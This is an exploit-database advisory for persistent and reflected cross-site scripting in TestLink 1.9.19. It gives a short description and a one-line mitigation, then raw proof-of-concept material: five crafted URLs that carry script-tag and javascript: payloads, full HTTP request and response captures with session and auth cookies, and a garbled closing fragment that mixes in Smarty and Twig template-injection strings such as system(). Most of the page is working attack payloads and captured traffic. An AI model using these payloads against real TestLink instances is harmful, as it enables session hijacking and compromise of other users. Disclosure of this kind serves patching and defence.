TestLink 1.9.19 - Persistent Cross-Site Scripting

vendor:

TestLink

by:

Milad Khoshdel

8.8

CVSS

HIGH

Persistent Cross-Site Scripting

CWE

Product Name: TestLink

Affected Version From: TestLink 1.9.19

Affected Version To: TestLink 1.9.19

Patch Exists: NO

Related CWE: N/A

CPE: a:testlink:testlink:1.9.19

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Linux Apache/2 PHP/7.3.11

2019

TestLink 1.9.19 – Persistent Cross-Site Scripting

TestLink 1.9.19 is vulnerable to persistent cross-site scripting. This vulnerability allows an attacker to inject malicious JavaScript code into the application. The vulnerable pages are archiveData.php, index.php, tcEdit.php, and login.php. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable page. The malicious JavaScript code will be executed in the victim's browser.

Mitigation:

The application should validate user input and encode output to prevent cross-site scripting attacks.

Source

Exploit-DB raw data:

# Exploit Title: TestLink 1.9.19 - Persistent Cross-Site Scripting
# Date: 2019-11-20
# Exploit Author: Milad Khoshdel
# Software Link: http://testlink.org/
# Version: TestLink 1.9.19
# Tested on: Linux Apache/2 PHP/7.3.11


=========
Vulnerable Pages:
=========

Persistent --> https://[TestLink-URL]/testlink/lib/testcases/archiveData.php?add_relation_feedback_msg=Test%20Case%20with%20external%20ID%3A%20%20-%20does%20not%20exist&edit=%3cscRipt%3ealert(0x008B19)%3c%2fscRipt%3e&id=4&show_mode=show&version_id=3
Non-Persistent --> https://[TestLink-URL]/testlink/index.php?caller=login&reqURI=javascript%3aalert(0x002082)&viewer=3
Non-Persistent --> https://[TestLink-URL]/testlink/lib/testcases/tcEdit.php?doAction=doDeleteStep&nsextt=%3cscRipt%3ealert(0x00A5CA)%3c%2fscRipt%3e&show_mode=editDisabled&step_id=
Non-Persistent --> https://[TestLink-URL]/testlink/lib/testcases/tcEdit.php?doAction=doDeleteStep&%3cscRipt%3ealert(0x00A5CE)%3c%2fscRipt%3e=nsextt&show_mode=editDisabled
Non-Persistent --> https://[TestLink-URL]/testlink/lib/testcases/tcEdit.php?doAction=doDeleteStep&show_mode=%3cscRipt%3ealert(0x00A54D)%3c%2fscRipt%3e&step_id=


=========
POC:
=========

REGUEST -->

GET /testlink/index.php?caller=login&reqURI=javascript%3aalert(0x002082)&viewer=3 HTTP/1.1
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: PHPSESSID=7sjusfplttil0vsrv31ll2on2v; TESTLINK197TL_execSetResults_bn_view_status=0; TESTLINK197TL_execSetResults_platform_notes_view_status=0; TESTLINK197TL_execSetResults_tpn_view_status=0; TL_lastTestProjectForUserID_2=1; TESTLINK197TL_lastTestPlanForUserID_1=2; TESTLINK197TL_user2_proj1_testPlanId=2; TESTLINK_USER_AUTH_COOKIE=09d24c73361bc02964e80077a0b797b6fc2c1afb74c52ceea74c63311365fadd
Referer: http://127.0.0.1/testlink/login.php?viewer=3
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36


RESPONSE -->

HTTP/1.1 200 OK
Server: Apache
Content-Length: 526
X-Powered-By: PHP/7.3.11
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=50
X-Frame-Options: SAMEORIGIN
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Encoding: 
Date: Wed, 20 Nov 2019 11:29:45 GMT
Vary: Cookie,Accept-Encoding
Cache-Control: no-store, no-cache, must-revalidate

<!DOCTYPE html>

<head>
 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
 <meta http-equiv="Content-language" content="en" />
 <meta name="generator" content="testlink" />
 <meta name="author" content="TestLink Development Team" />
 <meta name="copyright" content="TestLink Development Team" />
 <meta name="robots" content="NOFOLLOW" />
 <title>TestLink 1.9.19</title>
 <meta name="description" content="TestLink - TestLink ::: Main Page" />
 <link rel="icon" href="http://127.0.0.1/testlink/gui/themes/default/images/favicon.ico" type="image/x-icon" />
</head>


<frameset rows="70,*" frameborder="0" framespacing="0">
 <frame src="lib/general/navBar.php?tproject_id=0&tplan_id=0&updateMainPage=1" name="titlebar" scrolling="no" noresize="noresize" />
 <frame src="javascript:alert(0x002082)" scrolling='auto' name='mainframe' />
 <noframes>
  <body>
   TestLink required a frames supporting browser.
  </body>
 </noframes>
</frameset>


-------------------------------------------------

STEP 1 -->

[Request]
GET /testlink/lib/testcases/archiveData.php?add_relation_feedback_msg=Test%20Case%20with%20external%20ID%3A%20%20-%20does%20not%20exist&edit=%3cscRipt%3ealert(0x008B19)%3c%2fscRipt%3e&id=4&show_mode=show&version_id=3 HTTP/1.1
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: PHPSESSID=7sjusfplttil0vsrv31ll2on2v; TESTLINK197TL_execSetResults_bn_view_status=0; TESTLINK197TL_execSetResults_platform_notes_view_status=0; TESTLINK197TL_execSetResults_tpn_view_status=0; TESTLINK197ys-tproject_1_ext-comp-1001=a%3As%253A%2F1%2F3; TESTLINK_USER_AUTH_COOKIE=09d24c73361bc02964e80077a0b797b6fc2c1afb74c52ceea74c63311365fadd; TESTLINK197TL_user2_proj1_testPlanId=2; TESTLINK197TL_lastTestPlanForUserID_1=2; TL_lastTestProjectForUserID_2=1
Referer: http://127.0.0.1/testlink/lib/testcases/tcEdit.php
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36


[Response]
HTTP/1.1 200 OK
Server: Apache
Content-Length: 0
X-Powered-By: PHP/7.3.11
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=47
X-Frame-Options: SAMEORIGIN
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Date: Wed, 20 Nov 2019 11:59:45 GMT
Vary: Cookie
Cache-Control: no-store, no-cache, must-revalidate

STEP 2 -->

[Request]
GET /testlink/lib/testcases/archiveData.php?add_relation_feedback_msg=Test%20Case%20with%20external%20ID%3A%20%20-%20does%20not%20exist&edit=testcase&id=127.0.0.1/trace.axd&show_mode=show&version_id=3 HTTP/1.1
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: PHPSESSID=7sjusfplttil0vsrv31ll2on2v; TESTLINK197TL_execSetResults_bn_view_status=0; TESTLINK197TL_execSetResults_platform_notes_view_status=0; TESTLINK197TL_execSetResults_tpn_view_status=0; TESTLINK197ys-tproject_1_ext-comp-1001=a%3As%253A%2F1%2F3; TESTLINK_USER_AUTH_COOKIE=09d24c73361bc02964e80077a0b797b6fc2c1afb74c52ceea74c63311365fadd; TESTLINK197TL_user2_proj1_testPlanId=2; TL_lastTestProjectForUserID_2=1; TESTLINK197TL_lastTestPlanForUserID_1=2
Referer: http://127.0.0.1/testlink/lib/testcases/tcEdit.php
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36


[Response]
#Identification Page
HTTP/1.1 200 OK
Transfer-Encoding: chunked
Server: Apache
X-Powered-By: PHP/7.3.11
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=98
X-Frame-Options: SAMEORIGIN
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Encoding: 
Date: Wed, 20 Nov 2019 12:02:38 GMT
Vary: Cookie,Accept-Encoding
Cache-Control: no-store, no-cache, must-revalidate

ner_title_{php}Smarty_Resource::parseResourceName(system("ns,[container_title_<scRipt>alert(0x008B19)</scRipt>] => container_title_<scRipt>alert(0x008B19)</scRipt>,[container_title_{{_self.env.registerUndefinedFilterCallback("sys